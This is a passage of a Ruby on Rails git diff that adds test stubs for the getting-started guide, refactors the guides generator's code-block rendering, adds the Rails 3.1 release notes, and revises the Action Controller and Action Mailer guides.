+++ b/railties/guides/code/getting_started/test/integration/.gitkeep diff --git a/railties/guides/code/getting_started/test/performance/browsing_test.rb b/railties/guides/code/getting_started/test/performance/browsing_test.rb new file mode 100644 index 0000000000..3fea27b916 --- /dev/null +++ b/railties/guides/code/getting_started/test/performance/browsing_test.rb @@ -0,0 +1,12 @@ +require 'test_helper' +require 'rails/performance_test_help' + +class BrowsingTest < ActionDispatch::PerformanceTest + # Refer to the documentation for all available options + # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory] + # :output => 'tmp/performance', :formats => [:flat] } + + def test_homepage + get '/' + end +end diff --git a/railties/guides/code/getting_started/test/test_helper.rb b/railties/guides/code/getting_started/test/test_helper.rb new file mode 100644 index 0000000000..8bf1192ffe --- /dev/null +++ b/railties/guides/code/getting_started/test/test_helper.rb @@ -0,0 +1,13 @@ +ENV["RAILS_ENV"] = "test" +require File.expand_path('../../config/environment', __FILE__) +require 'rails/test_help' + +class ActiveSupport::TestCase + # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order. + # + # Note: You'll currently still have to declare fixtures explicitly in integration tests + # -- they do not yet inherit this setting + fixtures :all + + # Add more helper methods to be used by all tests here... +end diff --git a/railties/guides/code/getting_started/test/unit/.gitkeep b/railties/guides/code/getting_started/test/unit/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/.gitkeep diff --git a/railties/guides/code/getting_started/test/unit/comment_test.rb b/railties/guides/code/getting_started/test/unit/comment_test.rb new file mode 100644 index 0000000000..b6d6131a96 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/comment_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class CommentTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb new file mode 100644 index 0000000000..2518c16bd5 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class CommentsHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb new file mode 100644 index 0000000000..4740a18dac --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class HomeHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb new file mode 100644 index 0000000000..48549c2ea1 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class PostsHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/post_test.rb b/railties/guides/code/getting_started/test/unit/post_test.rb new file mode 100644 index 0000000000..6d9d463a71 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/post_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class PostTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/unit/tag_test.rb b/railties/guides/code/getting_started/test/unit/tag_test.rb new file mode 100644 index 0000000000..b8498a117c --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/tag_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class TagTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep diff --git a/railties/guides/code/getting_started/vendor/plugins/.gitkeep b/railties/guides/code/getting_started/vendor/plugins/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/vendor/plugins/.gitkeep diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb index d304512ff7..6f6d3bda80 100644 --- a/railties/guides/rails_guides/generator.rb +++ b/railties/guides/rails_guides/generator.rb @@ -137,7 +137,8 @@ module RailsGuides if guide =~ /\.html\.erb$/ # Generate the special pages like the home. - result = view.render(:layout => 'layout', :file => guide) + # Passing a template handler in the template name is deprecated. So pass the file name without the extension. + result = view.render(:layout => 'layout', :file => $`) else body = File.read(File.join(source_dir, guide)) body = set_header_section(body, view) @@ -199,50 +200,10 @@ module RailsGuides end def textile(body, lite_mode=false) - # If the issue with notextile is fixed just remove the wrapper. - with_workaround_for_notextile(body) do |body| - t = RedCloth.new(body) - t.hard_breaks = false - t.lite_mode = lite_mode - t.to_html(:notestuff, :plusplus, :code) - end - end - - # For some reason the notextile tag does not always turn off textile. See - # LH ticket of the security guide (#7). As a temporary workaround we deal - # with code blocks by hand. - def with_workaround_for_notextile(body) - code_blocks = [] - - body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m| - brush = case $1 - when 'ruby', 'sql', 'plain' - $1 - when 'erb' - 'ruby; html-script: true' - when 'html' - 'xml' # html is understood, but there are .xml rules in the CSS - else - 'plain' - end - - code_blocks.push(<<HTML) -<notextile> -<div class="code_container"> -<pre class="brush: #{brush}; gutter: false; toolbar: false"> -#{ERB::Util.h($2).strip} -</pre> -</div> -</notextile> -HTML - "\ndirty_workaround_for_notextile_#{code_blocks.size - 1}\n" - end - - body = yield body - - body.gsub(%r{<p>dirty_workaround_for_notextile_(\d+)</p>}) do |_| - code_blocks[$1.to_i] - end + t = RedCloth.new(body) + t.hard_breaks = false + t.lite_mode = lite_mode + t.to_html(:notestuff, :plusplus, :code) end def warn_about_broken_links(html) diff --git a/railties/guides/rails_guides/textile_extensions.rb b/railties/guides/rails_guides/textile_extensions.rb index b3e0e32357..4677fae504 100644 --- a/railties/guides/rails_guides/textile_extensions.rb +++ b/railties/guides/rails_guides/textile_extensions.rb @@ -33,11 +33,30 @@ module RailsGuides body.gsub!('<plus>', '+') end + def brush_for(code_type) + case code_type + when 'ruby', 'sql', 'plain' + code_type + when 'erb' + 'ruby; html-script: true' + when 'html' + 'xml' # html is understood, but there are .xml rules in the CSS + else + 'plain' + end + end + def code(body) body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m| - es = ERB::Util.h($2) - css_class = $1.in?(['erb', 'shell']) ? 'html' : $1 - %{<notextile><div class="code_container"><code class="#{css_class}">#{es}</code></div></notextile>} + <<HTML +<notextile> +<div class="code_container"> +<pre class="brush: #{brush_for($1)}; gutter: false; toolbar: false"> +#{ERB::Util.h($2).strip} +</pre> +</div> +</notextile> +HTML end end end diff --git a/railties/guides/source/3_0_release_notes.textile b/railties/guides/source/3_0_release_notes.textile index fbb684978a..d22c76dd81 100644 --- a/railties/guides/source/3_0_release_notes.textile +++ b/railties/guides/source/3_0_release_notes.textile @@ -59,12 +59,12 @@ The +config.gem+ method is gone and has been replaced by using +bundler+ and a + h4. Upgrade Process -To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/jm/rails_upgrade has been created to automate part of it. +To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/rails/rails_upgrade has been created to automate part of it. Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: <shell> -$ ruby script/plugin install git://github.com/jm/rails_upgrade.git +$ ruby script/plugin install git://github.com/rails/rails_upgrade.git </shell> You can see an example of how that works at "Rails Upgrade is now an Official Plugin":http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin diff --git a/railties/guides/source/3_1_release_notes.textile b/railties/guides/source/3_1_release_notes.textile new file mode 100644 index 0000000000..c4da87dc34 --- /dev/null +++ b/railties/guides/source/3_1_release_notes.textile @@ -0,0 +1,431 @@ +h2. Ruby on Rails 3.1 Release Notes + +Highlights in Rails 3.1: + +* Streaming +* Reversible Migrations +* Assets Pipeline +* jQuery as the default JavaScript library + +This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub. + +endprologue. + +h3. Upgrading to Rails 3.1 + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes: + +h4. Rails 3.1 requires at least Ruby 1.8.7 + +Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing. + +h3. Creating a Rails 3.1 application + +<shell> +# You should have the 'rails' rubygem installed +$ rails new myapp +$ cd myapp +</shell> + +h4. Vendoring Gems + +Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: - "bundler homepage":http://gembundler.com + +h4. Living on the Edge + ++Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag: + +<shell> +$ rails new myapp --edge +</shell> + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: + +<shell> +$ ruby /path/to/rails/bin/rails new myapp --dev +</shell> + +h3. Rails Architectural Changes + +h4. Assets Pipeline + +The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines. + +The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide. + +h4. HTTP Streaming + +HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it. + +h4. Default JS library is now jQuery + +jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch. + +<shell> +$ rails new myapp -j prototype +</shell> + +h4. Identity Map + +Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion. + +Rails 3.1 comes with the identity map turned off by default. + +h3. Railties + +* jQuery is the new default JavaScript library. + +* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems. + +* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline. + +* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified. + +* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available. + +* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed. + +* Scaffold controller generator creates format block for JSON instead of XML. + +* Active Record logging is directed to STDOUT and shown inline in the console. + +* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol. + +* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing. + +* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack. + +* Added <tt>Rack::Cache</tt> to the default middleware stack. + +* Engines received a major update - You can mount them at any path, enable assets, run generators etc. + +h3. Action Pack + +h4. Action Controller + +* A warning is given out if the CSRF token authenticity cannot be verified. + +* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used. + +* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log. + +* URL parameters which return +nil+ for +to_param+ are now removed from the query string. + +* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>. + +* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller). + +* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options. + +* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call. + +<ruby> +class PostsController < ApplicationController + USER_NAME, PASSWORD = "dhh", "secret" + + before_filter :authenticate, :except => [ :index ] + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end + + private + def authenticate + authenticate_or_request_with_http_basic do |user_name, password| + user_name == USER_NAME && password == PASSWORD + end + end +end +</ruby> + +..can now be written as + +<ruby> +class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end +end +</ruby> + +* Added streaming support, you can enable it with: + +<ruby> +class PostsController < ActionController::Base + stream +end +</ruby> + +You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information. + +* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. + +h4. Action Dispatch + +* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>. + +* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array. + +* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers. + +* Added <tt>Rack::Cache</tt> to the default stack. + +* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack. + +* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>. + +* Template lookup now searches further up in the inheritance chain. + +h4. Action View + +* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>. + +* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>. + +* In place +SafeBuffer+ mutation is prohibited in Rails 3.1. + +* Added HTML5 +button_tag+ helper. + +* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form. + +* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options: + +<plain> +tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) +# => <div data-name="Stephen" data-city-state="["Chicago","IL"]" /> +</plain> + +Keys are dasherized. Values are JSON-encoded, except for strings and symbols. + +* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility. + +* The old template handler API is deprecated and the new API simply requires a template handler to respond to call. + +* rhtml and rxml are finally removed as template handlers. + +* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not. + +* The submit form helper does not generate an id "object_name_id" anymore. + +* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>. + +* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper. + +* Allows AM/PM format in datetime selectors. + +* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink + +h3. Active Record + +* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>. +<ruby> +class User < ActiveRecord::Base + self.pluralize_table_names = false +end +</ruby> + +* Added block setting of attributes to singular associations. The block will get called after the instance is initialized. + +<ruby> +class User < ActiveRecord::Base + has_one :account +end + +user.build_account{ |a| a.credit_limit = 100.0 } +</ruby> + +* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist. + +* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0. + +* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities: + +<ruby> +class Post < ActiveRecord::Base + attr_accessible :title + attr_accessible :title, :published_at, :as => :admin +end + +Post.new(params[:post], :as => :admin) +</ruby> + +* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation. + +* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped. + +* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher. + +* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed. + +* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records. + +* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations. + +* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>. + +* limits and offsets are removed from COUNT queries unless both are supplied. +<ruby> +People.limit(1).count # => 'SELECT COUNT(*) FROM people' +People.offset(1).count # => 'SELECT COUNT(*) FROM people' +People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1' +</ruby> + +* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings. + +* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead. + +* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association. + +* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'. + +* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table. + +* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table. + +* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>. + +* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement. + +<ruby> +change_table(:users, :bulk => true) do |t| + t.string :company_name + t.change :birthdate, :datetime +end +</ruby> + +* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used. + +* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations. + +* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method. +<ruby> +class MyMigration < ActiveRecord::Migration + def change + create_table(:horses) do |t| + t.column :content, :text + t.column :remind_at, :datetime + end + end +end +</ruby> + +* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down. + +* Migrations now use instance methods rather than class methods: +<ruby> +class FooMigration < ActiveRecord::Migration + def up # Not self.up + ... + end +end +</ruby> + +* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods. + +* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used. + +<ruby> +has_many :things, :conditions => 'foo = #{bar}' # before +has_many :things, :conditions => proc { "foo = #{bar}" } # after +</ruby> + +Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within. + +You can have any "normal" conditions inside the proc, so the following will work too: + +<ruby> +has_many :things, :conditions => proc { ["foo = ?", bar] } +</ruby> + +* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc. + +* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting. + +<ruby> +# Schema: User(name:string, password_digest:string, password_salt:string) +class User < ActiveRecord::Base + has_secure_password +end +</ruby> + +* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ columns. + +* Setting the id of a +belongs_to+ object will update the reference to the object. + +* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics. + +* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called. + +* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable. + +* The query cache now works with prepared statements. No changes in the applications are required. + +h3. Active Model + +* +attr_accessible+ accepts an option +:as+ to specify a role. + +* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+. + +* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting. + +* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand. + +* Added support for selectively enabling and disabling observers. + +* Alternate <tt>I18n</tt> namespace lookup is no longer supported. + +h3. Active Resource + +* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example, + +<ruby> +class User < ActiveResource::Base + self.format = :xml +end +</ruby> + +h3. Active Support + +* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+. + +* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+. + +* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object. + +* Added <tt>Object#in?</tt> to test if an object is included in another object. + +* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class. + +* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes. + +* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+. + +* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8. + +* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time. + +* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>. + +Deprecations: + +* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library. + +h3. Credits + +See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. + +Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev. diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile index 073e3bddcf..b34c223b31 100644 --- a/railties/guides/source/action_controller_overview.textile +++ b/railties/guides/source/action_controller_overview.textile @@ -166,10 +166,10 @@ h3. Session Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: -* CookieStore - Stores everything on the client. -* DRbStore - Stores the data on a DRb server. -* MemCacheStore - Stores the data in a memcache. -* ActiveRecordStore - Stores the data in a database using Active Record. +* ActionDispatch::Session::CookieStore - Stores everything on the client. +* ActiveRecord::SessionStore - Stores the data in a database using Active Record. +* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache. +* ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead). All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure). @@ -177,6 +177,8 @@ For most stores this ID is used to look up the session data on the server, e.g. The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. +If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. + Read more about session storage in the "Security Guide":security.html. If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file: @@ -684,9 +686,11 @@ end This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option. +If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used. + WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. -TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work. +TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. h4. RESTful Downloads @@ -794,7 +798,7 @@ NOTE: Certain exceptions are only rescuable from the +ApplicationController+ cla h3. Force HTTPS protocol -Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reason. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: +Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: <ruby> class DinnerController @@ -813,9 +817,3 @@ end </ruby> Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file. - -h3. Changelog - -* February 17, 2009: Yet another proofread by Xavier Noria. - -* November 4, 2008: First release version by Tore Darell diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile index f05d9dcf1c..26c95be031 100644 --- a/railties/guides/source/action_mailer_basics.textile +++ b/railties/guides/source/action_mailer_basics.textile @@ -8,7 +8,7 @@ WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not h3. Introduction -Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. +Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. h3. Sending Emails @@ -48,10 +48,8 @@ class UserMailer < ActionMailer::Base def welcome_email(user) @user = user @url = "http://example.com/login" - mail(:to => user.email, - :subject => "Welcome to My Awesome Site") + mail(:to => user.email, :subject => "Welcome to My Awesome Site") end - end </ruby> @@ -142,17 +140,17 @@ end This provides a much simpler implementation that does not require the registering of observers and the like. -The method +welcome_email+ returns a Mail::Message object which can then just be told +deliver+ to send itself out. +The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out. NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself. -WARNING: Sending out one email should only take a fraction of a second, if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like delayed job. +WARNING: Sending out an email should only take a fraction of a second, but if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job. h4. Auto encoding header values Action Mailer now handles the auto encoding of 